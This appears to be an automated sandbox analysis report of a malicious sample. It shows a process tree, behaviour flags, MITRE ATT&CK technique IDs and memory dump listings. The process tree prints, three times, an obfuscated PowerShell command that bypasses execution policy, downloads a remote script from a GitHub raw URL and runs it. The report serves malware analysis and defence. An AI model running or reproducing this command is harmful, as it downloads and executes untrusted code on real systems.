cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:2128
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:3732
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:2840

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/652-114-0x0000029F5EE50000-0x0000029F5F270000-memory.dmp

Filesize
4.1MB

Download
memory/652-119-0x0000029F46116000-0x0000029F46117000-memory.dmp

Filesize
4KB

Download
memory/652-118-0x0000029F46115000-0x0000029F46116000-memory.dmp

Filesize
4KB

Download
memory/652-117-0x0000029F46113000-0x0000029F46115000-memory.dmp

Filesize
8KB

Download
memory/652-116-0x0000029F46110000-0x0000029F46112000-memory.dmp

Filesize
8KB

Download
memory/2000-152-0x00000203EF910000-0x00000203EF911000-memory.dmp

Filesize
4KB

Download
memory/2000-144-0x00000203EECE0000-0x00000203EECE1000-memory.dmp

Filesize
4KB

Download
memory/2000-135-0x00000203EECF3000-0x00000203EECF5000-memory.dmp

Filesize
8KB

Download
memory/2000-134-0x00000203EECF0000-0x00000203EECF2000-memory.dmp

Filesize
8KB

Download
memory/2000-136-0x00000203EECF6000-0x00000203EECF8000-memory.dmp

Filesize
8KB

Download
memory/2000-151-0x00000203EF580000-0x00000203EF581000-memory.dmp

Filesize
4KB

Download
memory/2000-150-0x00000203EECF8000-0x00000203EECF9000-memory.dmp

Filesize
4KB

Download
memory/2000-128-0x00000203EEFB0000-0x00000203EEFB1000-memory.dmp

Filesize
4KB

Download
memory/2000-125-0x00000203EEE00000-0x00000203EEE01000-memory.dmp

Filesize
4KB

Download
memory/2840-374-0x000001F826D33000-0x000001F826D35000-memory.dmp

Filesize
8KB

Download
memory/2840-373-0x000001F826D30000-0x000001F826D32000-memory.dmp

Filesize
8KB

Download
memory/2840-433-0x000001F826D38000-0x000001F826D39000-memory.dmp

Filesize
4KB

Download
memory/2840-382-0x000001F826D36000-0x000001F826D38000-memory.dmp

Filesize
8KB

Download
memory/3184-252-0x0000023BD3408000-0x0000023BD340A000-memory.dmp

Filesize
8KB

Download
memory/3184-218-0x0000023BD3400000-0x0000023BD3402000-memory.dmp

Filesize
8KB

Download
memory/3184-221-0x0000023BD3403000-0x0000023BD3405000-memory.dmp

Filesize
8KB

Download
memory/3184-223-0x0000023BD3406000-0x0000023BD3408000-memory.dmp

Filesize
8KB

Download
memory/3868-169-0x000001E29D5D3000-0x000001E29D5D5000-memory.dmp

Filesize
8KB

Download
memory/3868-168-0x000001E29D5D0000-0x000001E29D5D2000-memory.dmp

Filesize
8KB

Download
memory/3868-192-0x000001E29D5D6000-0x000001E29D5D8000-memory.dmp

Filesize
8KB

Download
memory/3868-195-0x000001E29D5D8000-0x000001E29D5DA000-memory.dmp

Filesize
8KB

Download
memory/4060-253-0x000001FC3C180000-0x000001FC3C182000-memory.dmp

Filesize
8KB

Download
memory/4060-289-0x000001FC3C188000-0x000001FC3C18A000-memory.dmp

Filesize
8KB

Download
memory/4060-288-0x000001FC3C186000-0x000001FC3C188000-memory.dmp

Filesize
8KB

Download
memory/4060-254-0x000001FC3C183000-0x000001FC3C185000-memory.dmp

Filesize
8KB

Download